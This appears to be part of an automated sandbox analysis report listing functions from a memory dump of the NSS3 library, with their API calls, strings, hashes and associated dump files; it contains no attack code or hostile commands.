PL_NewHashTable.NSS3(00000000,6C75FE80,6C75FD30,6C7AC350,00000000,00000000,00000001,00000000,6C850148,?,6C716FEC), ref: 6C705055
PL_NewHashTable.NSS3(00000000,6C75FE80,6C75FD30,6C7AC350,00000000,00000000,?,00000001,00000000,6C850148,?,6C716FEC), ref: 6C70506D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 37a9a00b2223fbd3c383638d5e2820b17ea5921149aec95955976290a776f7fd
Instruction ID: 8b955900cf231a32fcb22b3b4bdaec9cfcbd346cbbdc1ca67e28deea7300c844
Opcode Fuzzy Hash: 37a9a00b2223fbd3c383638d5e2820b17ea5921149aec95955976290a776f7fd
Instruction Fuzzy Hash: 64311AF1B092109BEB608B67994C76B3BF8BB1736CF015174E90087641DB78A404CBE5

Function 6C6A2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C6A2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C6A3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6A30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A3178

Strings

database corruption, xrefs: 6C6A316C
%s at line %d of [%.10s], xrefs: 6C6A3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A3022, 6C6A3156, 6C6A3162, 6C6A318A, 6C6A3196, 6C6A31A2, 6C6A31AE, 6C6A31BA, 6C6A31C6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: b604f949c0516d0b01da5057a84f7987d4f377abd493ced042d895d8d4f87fef
Instruction ID: c3b291e8c95163d7e5a2a7cfe72f24221d79b8757bdd0853435af52e6ca0a051
Opcode Fuzzy Hash: b604f949c0516d0b01da5057a84f7987d4f377abd493ced042d895d8d4f87fef
Instruction Fuzzy Hash: 14B18DB0E052199BCB18CFDDC885AEEB7B1BF49304F148529E849A7B41D374DD42CBA8

Function 6C777F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C777FB2

Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBA51
Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBA6B
Part of subcall function 6C6FBA40: EnterCriticalSection.KERNEL32 ref: 6C6FBA83
Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBAA1
Part of subcall function 6C6FBA40: _PR_MD_UNLOCK.NSS3 ref: 6C6FBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C777FD4

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C779430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C779466

PR_ExitMonitor.NSS3(?), ref: 6C77801B
PR_EnterMonitor.NSS3(?), ref: 6C778034
TlsGetValue.KERNEL32 ref: 6C7780A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7780C0
PR_ExitMonitor.NSS3(?), ref: 6C77811C
PR_ExitMonitor.NSS3(?), ref: 6C778134

Strings

), xrefs: 6C7780DB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 31c90bda641bb1a8cb1b13cd1c61b3c9a9bf8c66e07a4a44b684263cc01519e2
Instruction ID: b7435f7c0fa3f6f0ca98967ad0decdefc479993abea79e562eaf13c7711497f3
Opcode Fuzzy Hash: 31c90bda641bb1a8cb1b13cd1c61b3c9a9bf8c66e07a4a44b684263cc01519e2
Instruction Fuzzy Hash: 61513771A007099BEF319F34DE087EB77B0AF5235CF04053DD95966A42E731AA19C7A2

Function 6C71FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C71FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C71FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C71FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C71FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C71FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C71FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C71FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71FD84

Strings

:, xrefs: 6C71FD78

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8b8ddf341b8283f30729024ec7fa57458d943361f99ae01168f41c6bca215111
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: DE31E2B29182065BEB108EA8DE1A7BF77A8AF45358F190534DC59A7F00E771E908C7D2

Function 6C736C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C736C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736CA3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C736CD5

Strings

hSession = 0x%x, xrefs: 6C736C7E, 6C736C8E
(CK_INVALID_HANDLE), xrefs: 6C736C9C
pMechanism = 0x%p, xrefs: 6C736CD0
C_DigestInit, xrefs: 6C736C61

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 32861e6dd04f6e70c20d2c47e788edbfb21695d8db4093cf15d7af48eeed4d62
Instruction ID: 1163715778a3afe0dee5052f636e1e3c9e6b50d696fca48f51abdc26a2efb1c1
Opcode Fuzzy Hash: 32861e6dd04f6e70c20d2c47e788edbfb21695d8db4093cf15d7af48eeed4d62
Instruction Fuzzy Hash: 672125306051249BDB219B25DF4DFAA37B5EB8231CF446435E40D9BB03DB38A948C7D6

Function 6C739DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C739DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739E33

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C739E65

Strings

C_SessionCancel, xrefs: 6C739DF1
hSession = 0x%x, xrefs: 6C739E0E, 6C739E1E
(CK_INVALID_HANDLE), xrefs: 6C739E2C
flags = 0x%x, xrefs: 6C739E60

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 0582ebca2c56e2cfe6dabd4d417c8264b5d20d22b51d1726b85024968aa463a0
Instruction ID: eff496e9c80e4c76eae3fac8b8419011c7023d561c0a6b01efba12f17de64334
Opcode Fuzzy Hash: 0582ebca2c56e2cfe6dabd4d417c8264b5d20d22b51d1726b85024968aa463a0
Instruction Fuzzy Hash: B0212872646124AFD7209B15DF8CB7A33B9AB4230DF446434E80D5BB42DF38A848C7D6

Function 6C700F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C700F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C700F84

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C71F59B,6C82890C,?), ref: 6C700FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C700FC1

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C700FDB
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C700FEF
PL_FreeArenaPool.NSS3(?), ref: 6C701001
PL_FinishArenaPool.NSS3(?), ref: 6C701009

Strings

security, xrefs: 6C700F5C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: f3c7cbbd89899d149393d7f0e87503b34d2cb22ae631bb8d0a2eaddd03ffadad
Instruction ID: c0013a623214527b89b48435bd8c03dea16a3f4a886bf371f4f83fa1af674741
Opcode Fuzzy Hash: f3c7cbbd89899d149393d7f0e87503b34d2cb22ae631bb8d0a2eaddd03ffadad
Instruction Fuzzy Hash: 922128B1A04244ABE7109F25DE48AAB77B4EF4535CF048928FC1897B01FB31E659CBD2

Function 6C706DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C707D8F,6C707D8F,?,?), ref: 6C706DC8

Part of subcall function 6C75FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C75FE08
Part of subcall function 6C75FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C75FE1D
Part of subcall function 6C75FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C75FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C707D8F,?,?), ref: 6C706DD5

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FA0,00000000,?,?,?,?,6C707D8F,?,?), ref: 6C706DF7

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C706E35

Part of subcall function 6C75FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C75FE29
Part of subcall function 6C75FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C75FE3D
Part of subcall function 6C75FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C75FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C706E4C

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FE0,00000000), ref: 6C706E82

Part of subcall function 6C706AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C70B21D,00000000,00000000,6C70B219,?,6C706BFB,00000000,?,00000000,00000000,?,?,?,6C70B21D), ref: 6C706B01
Part of subcall function 6C706AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C706B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C706F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C706F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FE0,00000000), ref: 6C706F6B
PR_SetError.NSS3(FFFFE005,00000000,6C707D8F,?,?), ref: 6C706FE1

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3f25f0f97af0a179ac95c4ee10e38461f9f8746b4b5b67b2375b7150c0c32e6a
Instruction ID: fe878ca64825f1aa36d2ca572a45e191b3c442ffcc7bfc4682762650e52c169f
Opcode Fuzzy Hash: 3f25f0f97af0a179ac95c4ee10e38461f9f8746b4b5b67b2375b7150c0c32e6a
Instruction Fuzzy Hash: EF715EB1E106469BDB00CF55CE54BAABBE4BF54348F154229EC08D7B11E770EAD5CB90

Function 6C740FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C741057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C741085
PK11_GetAllTokens.NSS3 ref: 6C7410B1
free.MOZGLUE(?), ref: 6C741107
PR_SetError.NSS3(00000000,00000000), ref: 6C741172
free.MOZGLUE(?), ref: 6C741182
free.MOZGLUE(?), ref: 6C7411A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7411C5

Part of subcall function 6C7452C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001), ref: 6C7452DF
Part of subcall function 6C7452C0: EnterCriticalSection.KERNEL32(?), ref: 6C7452F3
Part of subcall function 6C7452C0: PR_Unlock.NSS3(?), ref: 6C745358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7411D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7411F3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d487f8bd61c357004ee58081aa8ab5ffed3c153e323a480f6d77234bf4db6e60
Instruction ID: a3ae7b89685b31dbb7c3697b30d306c5d7bb095f162765280d7f1262ce85902f
Opcode Fuzzy Hash: d487f8bd61c357004ee58081aa8ab5ffed3c153e323a480f6d77234bf4db6e60
Instruction Fuzzy Hash: 3661B5B4E00345DBEB00EF64DA45BAAB7B5AF04348F148138EC19AB751E771E954CB91

Function 6C74ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE10
EnterCriticalSection.KERNEL32(?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C72D079,00000000,00000001), ref: 6C74AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE7F
TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEF1
free.MOZGLUE(6C72CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C72CDBB,?), ref: 6C74AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AF30

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 5501cb47128c6dd54140df602d6fca9b82420ef51fbaff7586fe24cbd62293ae
Instruction ID: 54ec794f83882ebc7186815bb25590ebdd187a8eb99eebcb1a3ba911c9760790
Opcode Fuzzy Hash: 5501cb47128c6dd54140df602d6fca9b82420ef51fbaff7586fe24cbd62293ae
Instruction Fuzzy Hash: 8D51CFB5A00602AFDB11DF25C985B5AB7B4FF08328F148674E81897E12E731F864CBD1

Function 6C724CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C72AB7F,?,00000000,?), ref: 6C724CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C72AB7F,?,00000000,?), ref: 6C724CC8
TlsGetValue.KERNEL32(?,6C72AB7F,?,00000000,?), ref: 6C724CE0
EnterCriticalSection.KERNEL32(?,?,6C72AB7F,?,00000000,?), ref: 6C724CF4
PL_HashTableLookup.NSS3(?,?,?,6C72AB7F,?,00000000,?), ref: 6C724D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C724D10

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_Now.NSS3(?,00000000,?), ref: 6C724D26

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C724D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C724DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C724E02

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9eade404a8e13dfa4fa9b2232f993ad6bb35e7e66abba1e43261c39acb0a5f6a
Instruction ID: f5a25cb7bbef2e90dc8e50234d9b43a3a7e07876ed2cb0eddf4c44797607c386
Opcode Fuzzy Hash: 9eade404a8e13dfa4fa9b2232f993ad6bb35e7e66abba1e43261c39acb0a5f6a
Instruction Fuzzy Hash: F341E7B6E00101ABEB119F28ED49A6677B9FF1525CF094170ED0887B12FB35D919CBE2

Function 6C70BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70BFFB

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

